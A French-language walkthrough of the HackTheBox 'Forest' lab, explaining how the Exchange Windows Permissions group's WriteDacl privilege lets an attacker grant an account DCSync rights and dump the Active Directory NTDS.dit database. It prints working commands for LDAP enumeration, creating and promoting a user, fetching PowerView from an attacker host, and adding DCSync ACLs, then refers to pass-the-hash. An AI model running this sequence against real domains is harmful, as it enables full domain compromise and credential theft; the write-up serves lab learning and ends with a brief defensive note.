Exploitation du groupe Exchange Windows Permission

Le groupe "Exchange Windows Permission", comme son nom l'indique, est relatif à l'utilisation d'un serveur Exchange (serveur d'envoi de mails). En janvier 2019, le chercheur Dirkjanm publia une note de recherche où il explique avoir découvert un nouveau moyen de compromission d'Active Directory basé sur l'exploitation des privilèges de ce groupe.

Il y explique que le groupe "Echange Windows Permission" dispose du privilège WriteDacl qui permet à tout utilisateur faisant partie de ce groupe de modifier les privilèges des objets au sein d'un domaine et, entres autres, de s'ajouter le droit DCSync dans le but de dumper le contenu de la base NTDS.dit.

Pour illustrer cette attaque je vais vous montrer comment j'ai pu exploiter la box Forest proposée par HackTheBox. Pour cela je ne dispose que d'un compte utilisateur dont voici les privilèges:

Il est important de noter que cet utilisateur fait partie du groupe Account Operator dont nous avons déjà discuté dans cet article. Pour rappel les membre du groupe Account Operator peuvent créer des utilisateurs, modifier leurs attributs (leurs mots de passe par exemple) mais aussi ajouter des utilisateurs dans des groupes du domaine.


Petit aparté. Lorsque la connexion NULL Bind est possible sur une box ou lors d'un CTF j'ai pour habitude de dumper la base LDAP en grepant sur certains mots clé tels que "user" ou encore "memberof" ce qui me permet d'avoir une vision d'ensemble des objets présents sur un Active Directory. En utilisant la commande suivante il est possible de lister l'ensemble des groupes présents au sein de l'Active Directory:

python3 windapsearch -U --full -dc-ip 10.10.10.161 --custom "objectClass=*" | grep -i memberof

Voici son output:

On remarque que le groupe "Exchange Windows Permissions" est présent.


Pour la suite de l'exploitation nous allons créer un nouvel utilisateur que nous allons ajouter à la fois au groupe du domaine "Exchange Windows Permissions" et au groupe local  "Remote Management Users":

net user defte Defte@Wflag /add
net localgroup "Remote Management Users" defte /add
net group "Exchange Windows Permissions" defte /add

Puis nous allons nous y connecter et vérifier que nous faisons bien partie du groupe "Exchange Windows Permissions":

Parfait, il ne nous reste plus qu'à nous octroyer les droits DCSync et pour cela j'utilise le script PowerView.ps1 que je vais importer de cette manière:

Invoke-WebRequest -Uri http://10.10.14.23:8000/powerview.ps1' -Out powerview.ps1
Import-Module .\powerview.ps1

Parmi les fonctions importées, une va nous être particulièrement utile: Add-ObjectAcl. Cette fonction va nous permettre de modifier différents privilèges pour un compte du domaine. Voici la liste des privilèges que nous pouvons modifier:

  • ResetPassword va nous permettre de modifier le mot de passe d'un compte sans avoir besoin de connaître l'actuel mot de passe.
  • WriteMembers va nous permettre de modifier les membres d'un groupe au sein de l'Active Directory
  • DCSync va nous permettre de procéder à un DCSync (dumper le contenu de la base NTDS.dit)

Malheureusement il n'est pas possible de reset le mot de passe d'un administrateur du domaine et il n'est pas non plus possible d'ajouter un utilisateur au groupe administrateurs du domaine. Notre seule  solution est donc de nous octroyer les droits DCSync dans le but de dumper la base NTDS. Pour cela il faudra utiliser les commandes suivantes:

$pass = convertto-securestring 'Defte@Wflag' -asplain -force
$cred = new-object system.management.automation.pscredential('htb\defte', $pass)
Add-ObjectACL -PrincipalIdentity defte -Credential $cred -Rights DCSync

Notre utilisateur dispose maintenant des droits suffisants pour exécuter un DCSync ce que l'on pourra faire via mimikatz ou encore via le script secretsdump de la suite Impacket:

Une fois le hash de l'admin obtenu il ne nous reste plus qu'à nous connecter via un pass the hash classique:

GGWP! Alors comment se protéger de ce scénario d'exploitation ? Eh bien il est nécessaire de faire une revue des groupes de l'Active Directory. Un compte de service ne devrait pas faire partie du groupe "Account Operators" ou en tout cas ne devrait pas avoir un mot de passe aussi peu robuste.